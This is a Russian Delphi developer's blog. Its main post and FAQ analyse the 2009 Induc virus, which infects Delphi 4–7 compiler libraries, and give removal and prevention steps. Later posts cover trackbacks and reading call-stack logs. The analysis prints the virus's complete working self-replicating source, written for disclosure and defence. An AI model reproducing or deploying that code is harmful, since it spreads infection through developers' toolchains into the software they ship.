A: Если у вас никто не вылетает с runtime error 3 – это ещё не значит, что вы не инфицированы. Как уже было сказано, эта ошибка возникает только на редких машинах. А именно: тех, где в реестре неверно записаны параметры RootDir для Delphi.

Q: Ну киньте мне хоть кто-нибудь пример инфицированной программы! Хочу сам посмотреть на это чудо!

A: Код вируса перед вами. Просто скомпилируйте его на своей машине и вот вам – пример (достаточно поместить вызов кода в секцию initialization). Потом запустите его и он заразит вашу Delphi. Можете компилировать программы и они все будут заражены.

Q: Где найти код вируса? (вопрос задан в топике, первый пост которого содержит ссылку на код).

A: Раскрыть глаза и погуглить. Или просто открыть первую ссылку в первом посте топика – их не просто так дают. P.S. Нет, код приводят не для того, чтобы вы начали клепать поделки по теме, а чтобы доказать, что ничего страшного этот конкретный экземпляр не делает. А поделки и так появятся. Только теперь, когда вы уже предупреждены, они не так страшны.

Q: Квип и AIMP есть. Delphi есть. Вируса нет. Что делаю не так?

A: Вы используете версии QIP и AIMP без вируса.

Q: Почему же у меня ни на что не кричит?

A: Ну, вариантов немного:

  1. Анти-вируса нет вообще.
  2. Анти-вирус отключен.
  3. Анти-вирус втихую рубит и вы не видите.
  4. Анти-вирус ещё не умеет ловить бяку.
  5. У вас бяки нет.

Q: Может ли этот вирус делать [плохая-вещь]?

A: Код вируса перед вами. Там всего несколько строк. Наверное, не так сложно посмотреть, что же он делает, не так-ли? Не понимаете код? Хм, а какой тогда из вас программист? ;) Ну и, вообще-то, везде уже писали, что он не делает НИЧЕГО, кроме размножения и вылета с runtime error 3 на некоторых машинах.

Q: Runtime error 3 – это планируемое вредное действие? (вариант: способ заставить мигрировать с 7-ки)

A: Нет, и это видно из кода вируса. Runtime error 3 – не более чем досадная ошибка в коде вируса.

Q: Мы все умрём? Галактеко в опасносте? Квип тырит наши пароли?

A: Полный бред, не имеющий никакого отношения к действительности. Обычно такое говорит в комментах к топику человек, который вообще слабо понимает о чём же этот топик. Большая просьба: не разводить панику, не срать в комментах и не делать из проблемы больше того, чем она реально есть ;)

Q: Ничего особенного, раздувают из мухи слона – проходим мимо.

A: Хм, инфицирование трети машин разработчиков и нескольких “Big-Names” программ – это “ничего особенного”? А если бы у него была какая-то полезная нагрузка? Да, сейчас анти-вирусы ловят этот конкретный вирус. Да, конкретно он не делает ничего страшного. Бояться надо не его – это следующий вирус подобного плана будет страшен. Если вы скажете: “ну, все анти-вирусы теперь его ловят” и успокоитесь на этом – это неверно. Вы – идеальная мишень для любой модификации этого вируса. Антивирусы её не поймают.

Смысл в том, что анти-вирус не опознает следующий вирус подобного плана. Защищаться (ну и бояться) нужно, конечно же, не Virus.Win32.Induc.a, а его модификацию. Надеяться на то, что их будет отлавливать анти-вирус... ну, вот вам Virus.Win32.Induc.a убедительно показал во что выливается такая вера. В инфицированные QIP, AIMP, плагины Тотала и Миранды, банковский софт, трояны, диски журналов и куча другого софта.
Может я и перегибаю палку, но не очень хочется, чтобы после того, как все поорали "на тему", всё вернулось на круги своя без изменений. Тогда ничто не помешает создать и с такой же лёгкостью распространять вирус с куда более серьёзной полезной нагрузкой.

Вам необходимо предпринять действия по защите своей папки Delphi. Как минимум – не работать под админом (использовать UAC). Как идеальный максимум – выделенная машина для сборок с мониторингом папки Delphi.

Забавные факты.

Ну для многих это сперва показалось шуткой. Да я и сам сначала принял это за неё или ошибку в ДНК определённых людей. Вот, к примеру, весёлые ребята с sql.ru сразу потребовали чемоданов, космо-доспехов и “чего покурить”.

Вот этот диалог тоже забавен:

- Твой код?

- Не-не-не, это не моё, бабушкой клянусь.

- Да твой код, точно я тебе говорю.

Кроме того, некая ирония есть в том факте, что некоторые трояны, написанные на Delphi, оказались заражены Virus.Win32.Induc.a.

Microsoft, давний соперник Borland-а, уже умеет бороться с “вирусом для Delphi”. Причём среагировала она раньше многих – спустя три дня после Касперского.

Есть мнение, что вреда от обнаружения вируса анти-вирусами больше, чем он него самого. Ну т.е. жил он спокойно и никого не трогал, никому не мешал (ну, за редким исключением – runtime error 3). А тут, на тебе: все анти-вирусы вопят, спокойно работать не дают. Ужас, в общем :D Смотрите сами: жили вы себе жили, поставляли программки клиентам. Вдруг, бац, все ваши программки у клиентов начинают определяться как инфицированные! Сколько негативных отзывов вы получите, насколько упадёт доверие к вам! Вам же теперь перевыпускать все программы за последние несколько месяцев! А уж как пострадает репутация Delphi!

- На чём написана ваша программа?

- Delphi.

- На Delphi? Ну тогда мы её не покупаем – мы боимся заражения Virus.Win32.Induc.a.

Ведь простые люди, которые поставлены антивирусом перед фактом, не слишком-то разбираются в этих тонкостях…

Вирус обнаружен в некоторых программах по борьбе с бяками. Например, Wise Registry Cleaner.

Вирус был найден в FinalBurner Free от ProtectedSoft (“protective” vs “вирус”).

Степень распространения вируса настолько велика, что он проник даже на игры, записанные на CD/DVD, и в диски от журналов.

Видимо, впервые о подобной идее говорил Ken Thompson в лекции “Reflections on Trusting Trust” – 25 лет назад, в 1984-м году (если я верно понял, за эту лекцию он получил награду Тьюринга: “ACM’s Turing Award”). Это было в теории. Хм, превратить теорию в практику в этом случае заняло 25 лет. Этот вид атаки известен под именем “Thompson hack” или “Trusting trust attack”.

Замкнутый круг: я поднял шум, по нему отправили файлы Касперскому, Касперского использует F-Secure, F-Secure сообщает, что я тоже нашёл вирус.

Win32.Induc.a угрожает планете.

Да, это именно так:

I am sure the virus has been written by Mr. Hodges.

After endless attempts to convince people to migrate from previous Delphi versions, especially Delphi 7 (there's no reason to try about D8, 2005 or 2006, people jumped away from them ASAP), in the dark of his office he found no better way to have antivirus detecting older Delphi releases as infected and scare users to force them to upgrade.

Перевод:

Я уверен, что этот вирус был написан господином Nick Hodges.

После бесконечных попыток уговорить людей перейти с предыдущих версий Delphi, особенно с Delphi 7 (нет причин волноваться о D8, 2005 или 2006, т.к. люди и так убрались с них как можно раньше), в темноте своего офиса он придумал лучший способ: чтобы анти-вирусы всего мира начали ругаться на старые версии Delphi. Это испугало бы пользователей и заставило их сделать апгрейд.

P.S. И, да, мне во сне лично явился Дэвид и приказал мне обнаружить вирус и поднять шум в аккурат к выходу Delphi 2010 ;) Это к вопросу теории заговора от CodeGear.


Посмотреть текст целиком...

12 августа 2009 г.

Delphi-“вирус”: проверьте свою установленную Delphi!

Сегодня обнаружил довольно интересную вредоносную бяку, специфичную именно для Delphi. Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как “вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в “поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi.

Для тех, кто не сильно хочет вникать в детали, вот краткая выдержка (окей, я просто адаптировал объявление с DK, но для надёжности вам лучше бы прочитать пост целиком):

Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения).

Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.

Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия:

  1. Удалите SysConst.dcu
  2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил.

Не пытайтесь найти вирус в SysConst.pas: его там НЕТ!

Как это началось

Собственно началось всё с обсуждения странной проблемы: Run-time error 3 на, казалось бы, ровном месте. Затем участник с ником Andrey заметил, что проблема как-то связана с QIP 2005 сборки 8094, а именно: изменяется файл SysConst.dcu в папке \Lib установленной Delphi. Несколько человек после этого подтвердили это сообщение, но не стали копать дальше.

Признаться, сперва мне казалось это либо неверными выводами (я работаю в саппорте EurekaLog и тут не счесть случаев, когда человек в чём-то уверен, но на деле всё совсем не так), либо с инфицированными “настоящими” вирусами сборками с левых сайтов. Хотя изменение именно специфичного для Delphi файла выглядело очень подозрительно. Поэтому когда я приступил к проверке, то для себя я остановился на варианте забытого отладочного кода в QIP или чем-то подобном (я знал, что QIP написан на Delphi).

Однако, установив QIP, скачанный с официального сайта, я убедился в том, что он (сам qip.exe) действительно изменяет файлы SysConst.dcu в папках \Lib установленных Delphi версий 4-7, создавая резервную копию в виде файла SysConst.bak. Я проверял, установив его на WinXP VMWare с установленными Delphi всех версий (кроме 1, разумеется). Подтвердив проблему, я запостил вот эту тему на форуме QIP.

Что это такое

Ну а дальше – надо было просто поглубже копнуть, чтобы посмотреть, что же именно за изменение вносится в SysConst.dcu. В итоге и был обнаружен этот вредоносный код, который выглядит примерно вот так:

uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;

procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;

while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;

for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;

procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;

begin
st;
end.

Весьма несложный код и вы можете разобраться с тем, что он делает, самостоятельно.

Во-первых, он проверяет, не установлена ли на машине Delphi (перебор ключей реестра в procedure st). Если да, то код берёт файл SysConst.pas, дописывает в него себя и компилирует с помощью Delphi-же, помещая новый (уже инфицированный) dcu в папку \Lib (предварительно сделав копию, которая одновременно служит признаком инфицирования), а изменённый pas-файл – удаляет.

Откуда берётся этот самый run-time error 3, который позволил обнаружить этот вредоносный код? Ну, в код закралась ошибочка: если в реестре записан какой-либо неверный путь (например, раньше стояла Delphi 6, а теперь её нет, но ключ остался), то код вылетает вот тут:

  {'I-}assignfile(f1,s);
reset(f1); // <- возбуждается исключение, если в s записан неверный путь

При вызове reset возбуждается исключение, которое при не инициализированном SysUtils приводит в выбросу ошибки run-time error 3. Интересно, что от этой ситуации должна была защищать директива {$I-} и обработка IOResult, но поскольку автор неудачно выбрал именно символ $ как служебный (в константе sc вместо апострофа), то обратный патч строки превратил {$I-} в {'I-}, что и привело к этой ошибке.

Насколько это серьёзно

Ну, если говорить о популярности этой бяки, то я сделал быстрый QIP-опрос знакомых дельфистов и у примерно 30% из них оказалась эта бяка. Т.е. если учитывать, что не у всех стоят старые Delphi, то среди D7-ков эта штука вполне может быть неплохо распространена.

Если говорить о конкретном вреде, то этот вирус безобиден, т.к. не делает ничего, кроме размножения. От него не было бы вообще никакого отрицательного эффекта, если бы не вышеуказанная “досадная” ошибка в коде, приводящая к Runtime error 3 на редких машинах.

Собственно пишу я этот пост не потому, что это так уж серьёзно, а, скорее, потому, что это довольно любопытная вещь. Ну и предупредить, конечно: эвон чего бывает. В следующий раз, если вдруг столкнётесь с его братом, будете в курсе.

Кто виноват и что делать

В топике также сообщили о наличии этой же проблемы у некоторых версий популярного проигрывателя AIMP. Ну, быстрый поиск в интернете показал, что подвержены этой пакости оказались не только QIP и AIMP, но и другие программы. Например, вот тут в комментариях сообщается о заражении некоторых плагинов к Miranda. Понятно, что сами программы тут не причём – просто была заражена Delphi, на которых выполнялась сборка дистрибутивов. Увы, антивирусы такие “высокоуровневые вирусы” не ловят (хорошо бы, кстати, отправить этот код разработчикам какого-нибудь антивируса).

Ну, собственно, что вы можете сделать: если вы используете Delphi 4 – Delphi 7, то проверьте свои Delphi, не инфицированы ли они. Посмотрите в папку \Lib: если там есть файл SysConst.bak, то вы заражены (*).

Что делать, чтобы избавиться от вируса? Удалите файл SysConst.dcu, а затем на его место скопируйте SysConst.bak, т.е.: SysConst.bak –> SysConst.dcu. Помимо избавления от вируса, это также предотвратит повторное заражение. Ну, лучше всего, конечно, взять .dcu файл с дистрибутива - для надёжности (мало ли, вдруг .bak файл тоже оказался изменён).

Если вы не заражены, то вы можете предотвратить заражение в будущем (разумеется, только этим, конкретным вариантом кода), сделав что-либо из следующего (на ваш выбор, можно несколько сразу):

  • Создайте файл SysConst.bak (содержимое не важно) в папках \Lib установленных Delphi. Работоспособность основывается на том факте, что вирус сперва проверяет наличие SysConst.bak. И если он есть – то ничего не делает, считая, что он уже инфицировал эти Delphi.
  • Просто запретить доступ на изменение папки \Lib (ну и \Source до кучи) вообще всем (даже админам). Ну, это не даст вирусу менять файлы, но при этом на Delphi не встанут апдейты, но это вполне действенно. Можно в принципе дать права на запись отдельной учётке и все апдейты запускать из-под неё. Ну или менять права перед установкой апдейтов и возвращать после.
  • Работать в системе “как полагается”: т.е. не под админом и программы ставить в Program Files. Благодаря этому у обычного пользователя не будет прав на запись в папку, так что ваши файлы останутся в неприкосновенности. А апдейты для Delphi вы всё равно под админом запускать будете. Ну, раньше я уже говорил про Vista-у и пользу UAC в частности. Вот это как раз пример для этого случая.

Замечу, что подобной простой панацеи для уже скомпилированных в заражённой Delphi файлов нет: вам придётся пересобрать их заново. А чтобы определить, какие файлы заражены: запустите поиск по диску всех файлов, содержащих любую "говорящую" подстроку из константы, например: "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется). Также это поможет найти, кто же принёс на вашу машину эту бяку: если вы нашли инфицированный файл, собранный не вами, то это и есть виновник проблем на вашей машине.

Ну, лично мне все эти проблемы по барабану, т.к. я:

  • Работаю в Vista и Delphi стоит в Program Files, что значит, что её файлы защищены ACL списками.
  • Использую D2007 и D2009, а конкретно этот товарищ инфицирует только D4-D7.
  • Не использовал инфицированные варианты QIP и AIMP (ну, тут просто повезло).

Но то, что эти проблемы мне не грозят, не значит, что о них не надо сказать: кто предупреждён, тот вооружён. Удачи :)

Примечания:

(*) Ну, на самом деле, наличие файла SysConst.bak ещё не говорит со 100% точностью о заражении. Вы вполне могли создать этот файл сами или он был создан каким-нибудь вполне легитимным патчем. Чтобы убедиться на 100%, откройте файл SysConst.dcu (dcu, а не bak, т.к. в bak-е лежит девственный оригинал) в блокноте или по F3 в двух-панельном менеджере и поищите строчку “closefile(f2);” (без кавычек, разумеется). Если нашли – то ваша Delphi точно заражена. Таким же образом можно проверить и собранный exe-файл. Но проверка на SysConst.bak не даёт гарантии от поражения аналогичными вирусами. Конкретно этот экземпляр выдаёт себя наличием файла SysConst.bak. Другие могут не быть столь беспечны, поэтому 100% надёжный способ - сравнить папки \Lib и \Source с дистрибутивными: поставьте куда-нибудь чистую Delphi на чистую машину (лучше всего с read-only сидюка или ISO-образа) и сравните свои папки с чистыми. Только убедитесь, что сервис-паки и апдейты совпадают.

 

Читать далее.


Посмотреть текст целиком...

4 августа 2009 г.

Ловкость роботов

Поразительное зрелище, однако.




Посмотреть текст целиком...

Ручная отправка trackback-ов

Наконец-то я обнаружил способ, как можно ручками создать trackback. Копался долго, но в итоге нашёл :)

Итак, во-первых, поиск по словам "trackback sending tool" привёл к Wizbang® Tech Trackback Pinger, Simpletracks и ещё нескольким 100%-аналогичным страничкам, URL-адреса которых я уже успел забыть.

Не считая первого параметра все поля очевидны: имя вашего блога (Your Blog Name), имя вашего поста (Entry Title), URL на него (Entry URL/Permalink URL) и краткое описание.

Первый параметр - это trackback-ссылка на пост в чужом блоге, где вы хотите разместить ссылку на свой пост. Вся хитрость заключается в том, как его узнать.

Через энцать минут гугления нашёл спецификацию trackback-протокола, где написано, что trackback-url для каждой страницы должен быть записан в html самой страницы в специальном виде.

Поэтому, чтобы отправить ссылку на свой блог в чужой блог, мы открываем пост чужого блога и смотрим исходный код странички. Нас интересует в нём строка вида trackback:ping="http://blog.eurekalog.com/wp-trackback.php?p=6" (ищите по слову trackback:ping - не промахнётесь). Вот http://blog.eurekalog.com/wp-trackback.php?p=6 и будет тем URL, который надо вставлять в первое поле (Trackback URL).

Если же никакого trackback:ping в исходном коде странички нет - скорее всего, этот блог не поддерживает механизмов trackback (как, например, blogger).

Да, некоторые блоги могут фильтровать входящие ссылки на предмет спама, так что добавить ссылку может быть возможным не всегда. Кроме того, не все вводимые вами поля отображаются в блоге. Например, я отправил trackback на пост в blogger в блог WordPress. Там он показался корректно, но из текста участвует только заголовок блога. Так что в поле "Your Blog Name" будет не лишним продублировать заголовок поста, например, как-то так: "Заголовок Поста - Имя Блога".

Посмотреть текст целиком...

3 августа 2009 г.

Откат от JS-Comments

Кривовато работает новая система комментариев, поэтому решил убрать её, вернув умалчиваемую.

К примеру, в сообщениях появляются какие-то левые теги типа span или div.
Во-вторых, комментари грузятся с задержкой. Причём даже счётчики типа "2 комментарий(ев)" на главной.

Посмотреть текст целиком...

29 июля 2009 г.

Обновки блога №4

Изменение системы комментариев.

Не знаю зачем, но установил на оба блога систему комментариев от JS-Kit.
Типа, там есть поддержка trackback-ов. Хотя это не то, что я искал :D

Просто blogger сейчас не поддерживает trackback и pingback. Поэтому в блоге EurekaLog не появляются ссылки на мои русские копии постов. А жаль - хотелось бы.
Вот WordPress поддерживает эти штуки. Стоило мне в посте сослаться на пост Реймонда Чена, как у него в комментах сразу trackback на блог EurekaLog появился (или вот и вот). Конечно, может он его потом и удалит, но тем не менее.
Кроме того, прям в самом WordPress-е под блоком редактирования поста прям такой пункт есть: "Send trackbacks to", куда можно вручную вбить адреса для пинга.

А вот в Блоггере такого нет :( Искал тулсу, чтоб хотя бы руками можно было такие ссылки отправлять - пока неудачно. В одном блоге увидел ссылку на предшественника JS-Kit Comments - по описанию вроде было похоже. Поставил - да не то. Тут в обратную сторону. Типа, JS-Kit Comments может в комменты на моём блоге собирать trackback-ссылки на меня. Тоже хорошо, но не то.

Решил пока оставить, поиграться. Вроде ничёшно работает.

P.S. А уж как было-бы удобно для блога переводов! Типа, зашёл на сайт Реймонда: хопа! тут тебе сразу и ссылка внизу на перевод. Было бы удобно при переводе очередных постов, когда Реймонд вставляет ссылку на свой предыдущий пост: сейчас мне приходится искать соответствующие переводы по блогу поиском.

Посмотреть текст целиком...

26 июля 2009 г.

Пассивное решение проблем

В то же время надо понимать, что бороться с проблемами типа утечек памяти и Access Violation можно и пассивными способами.

Например, создавая более чистый и понятный код. Если плохой код переработать рефакторингом (вы просто пересматриваете и подчищаете код) – он становится более понятным и очевидным. Код, который легче понять – легче и проверить на наличие ошибок в логике. Зачастую вы можете избавиться от проблемы просто в процессе рефакторинга, специально ничего не сделав и даже не поняв, в чём же была проблема, – и это нормально. В общем, рекомендую любое чтение по вопросам рефакторинга – там эти вопросы обычно достаточно подробно излагаются.

Разумеется, я даже не говорю о необходимости избавляться от всех подсказок и предупреждений компилятора – это вообще очевидные основы (Стоять! Куда полезли? Код исправляйте, а не в настройках отключайте!).

Вы также можете переписывать проблемный код, заменяя небезопасные конструкции на безопасные аналоги. Например, у вас подозрение, что если выход за границу массива? Замените массив на списочный класс – в методе GetItem вы надёжно проверите индекс. Есть подозрение на мусорную ссылку на объект? Попробуйте повсюду использовать FreeAndNil или замените объекты на интерфейсы (кстати, в видео-презентации с CodeRage 2 “Fighting Memory Leaks for Dummies” от François Gaillard примерно на 3/4 есть похожий пример). Работаете с WinAPI? Вынесите все обращения к WinAPI  в отдельный класс или модуль и тщательно проверьте. Конечно же, никаких вещей вроде использования системного менеджера памяти вместо стандартного менеджера памяти (вы ведь используете FastMM, да?). Ну и т.д. и т.п.

Удачной вам отладки!


Посмотреть текст целиком...

Как читать лог-файлы

Пост блога EurekaLog.

Ну, пока я работал в поддержке EurekaLog, туда приходило немало вопросов, ответ на которые сводился, по сути, к тому, как правильно трактовать баг-отчёты. Аналогичные вопросы я встречал и на DK и на других форумах. Оказывается, у людей часто бывают трудности с пониманием того, что же, собственно, написано в отчётах. Хоть лично мне это и кажется удивительным, но, видимо, проблема всё же есть и требует решения.

Примечание: если вы плохо или совсем не понимаете, что такое указатели и/или объекты - рекомендую сначала прочитать эту статью.

Окей, давайте попробуем привести различные варианты отчётов и посмотреть, как их можно трактовать. Но прежде я в очередной раз напомню, что есть способы улучшить показания ваших лог файлов. И лучше бы вам сделать это до того, как к вам начнут поступать отчёты.

Стек вызовов

Центральное место в любом баг-отчёте занимает стек вызовов (call stack) – это последовательность адресов кода (часто с текстовым описанием), которые привели нас к моменту ошибки:

Call Stack Information:      
------------------------------------------------------------------------
|Address |Module      |Unit        |Class |Procedure/Method      |Line |
------------------------------------------------------------------------
|*Exception Thread: ID=8820; Priority=0; Class=; [Main]                |
|----------------------------------------------------------------------|
|004D316F|Project8.exe|Unit9.pas   |TForm9|Button1Click          |33[3]|
|76BCF6A5|user32.dll  |            |      |GetWindowLongW        |     |
|76BCF6B1|user32.dll  |            |      |GetWindowLongW        |     |
|76BC8ABF|user32.dll  |            |      |NotifyWinEvent        |     |
|76BCF6A5|user32.dll  |            |      |GetWindowLongW        |     |
|76BCF6B1|user32.dll  |            |      |GetWindowLongW        |     |
|77AA8502|ntdll.dll   |            |      |NtFindAtom            |     |
|76BF7B8D|user32.dll  |            |      |GetRawInputDeviceInfoW|     |
|76BD078F|user32.dll  |            |      |GetPropW              |     |
|76BD0AF5|user32.dll  |            |      |SendMessageW          |     |
|76BB8C6B|user32.dll  |            |      |CallNextHookEx        |     |
|76BD0697|user32.dll  |            |      |CallWindowProcW       |     |
|76BD0681|user32.dll  |            |      |CallWindowProcW       |     |
|76BB8C6B|user32.dll  |            |      |CallNextHookEx        |     |
|76BD078F|user32.dll  |            |      |GetPropW              |     |
|76BBE001|user32.dll  |            |      |GetCapture            |     |
|76BD005B|user32.dll  |            |      |DispatchMessageW      |     |
|76BD0051|user32.dll  |            |      |DispatchMessageW      |     |
|004D499D|Project8.exe|Project8.dpr|      |                      |17[4]|
|7691490F|kernel32.dll|            |      |BaseThreadInitThunk   |     |
------------------------------------------------------------------------

Стек вызовов в EurekaLog (текстовый вид)

image

Стек вызовов в EurekaLog (вид в EurekaLog Viewer)

4CC5B7 [Unit15.pas][Unit15][Unit15.B][35]      
4CC5C4 [Unit15.pas][Unit15][Unit15.A][39]
4CC5DC [Unit15.pas][Unit15][Unit15.TForm15.FormCreate][43]
4C0CCB [Forms][Forms.TCustomForm.DoCreate]
4C0913 [Forms][Forms.TCustomForm.AfterConstruction]
4C08E8 [Forms][Forms.TCustomForm.Create]
4CA539 [Forms][Forms.TApplication.CreateForm]
4CD986 [Project14][Project14.Project14][14]
75B94911 [BaseThreadInitThunk]
770FE4B6

Стек вызовов в FastMM

(00087A8C){Project1.exe} [00488A8C] Unit1.B (Line 40, "Unit1.pas" + 1) + $5      
(00087ABC){Project1.exe} [00488ABC] Unit1.A (Line 44, "Unit1.pas" + 0) + $0
(00055523){Project1.exe} [00456523] Controls.TWinControl.WndProc + $513
(0003AA8C){Project1.exe} [0043BA8C] StdCtrls.TButtonControl.WndProc + $6C
(00055673){Project1.exe} [00456673] Controls.DoControlMsg + $23
(00055523){Project1.exe} [00456523] Controls.TWinControl.WndProc + $513
(00068584){Project1.exe} [00469584] Forms.TCustomForm.WndProc + $594
(00054C3C){Project1.exe} [00455C3C] Controls.TWinControl.MainWndProc + $2C
(00025724){Project1.exe} [00426724] Classes.StdWndProc + $14
(0005561F){Project1.exe} [0045661F] Controls.TWinControl.DefaultHandler + $D7
(00055523){Project1.exe} [00456523] Controls.TWinControl.WndProc + $513
(0003AA8C){Project1.exe} [0043BA8C] StdCtrls.TButtonControl.WndProc + $6C
(00025724){Project1.exe} [00426724] Classes.StdWndProc + $14

Стек вызовов в JCL

image

Стек вызовов в Delphi (View/Debug Windows/Call Stack)

Итак, как вы можете видеть, в какой бы утилите не был создан стек вызовов – он почти всегда содержит эквивалентные сведения (ну, в примерах выше приведены разные программы, так что не пытайтесь сравнивать эти стеки вызовов ;) ).

Во-первых, обычно первым элементом в строке идёт сам адрес кода. Это числа вида 00488ABC или 488ABC (с обрезанными нулями). В стиле Delphi это будет выглядеть как $00488ABC – т.е. указатель на место в памяти, а именно: на код. Вы можете использовать эти адреса и вручную (например, если другая информация отсутствует): запустите программу, вызовите меню View/Goto address и введите $00488ABC – и вы попадёте ровно в это место (при условии, что адрес не изменился при перезапуске программы).

Почти всегда рядом с адресом указывается имя исполняемого модуля, которому он принадлежит. Например, Project8.exe или user32.dll. По этому признаку можно быстро отделить “свой код” от системного. Впрочем, сам вид адреса зачастую говорит об этом. К примеру, exe практически всегда загружается по адресу $400000 – следовательно, адреса вида $488ABC (близкие к $400000) почти наверняка принадлежат нашей программе. А вот системные DLL обычно загружаются по верхним адресам. Так что адреса вида $75B94911 скорее всего принадлежат не нам. Промежуточные адреса (типа $58C3C0) обычно принадлежат сторонним DLL (нашим или не нашим, но не системным). Окей, это весьма грубое и не совсем точное описание – но это всего лишь введение для новичков, так что не придирайтесь ;)

Иногда вместе с адресами указывается смещение относительно начала исполняемого модуля или сегмента кода – например 87A8C для адреса 00488A8C в логе JCL ($00400000 + $1000 + $87A8C = $00488A8C). Такая информация не слишком часто нужна, но, если вы понимаете в этом, то включайте (выше приведён полный вывод, а вообще он настраиваемый) – лишним не будет. Тут также может пригодиться дополнительная информация в лог-файле: список модулей с дескриптором каждого.

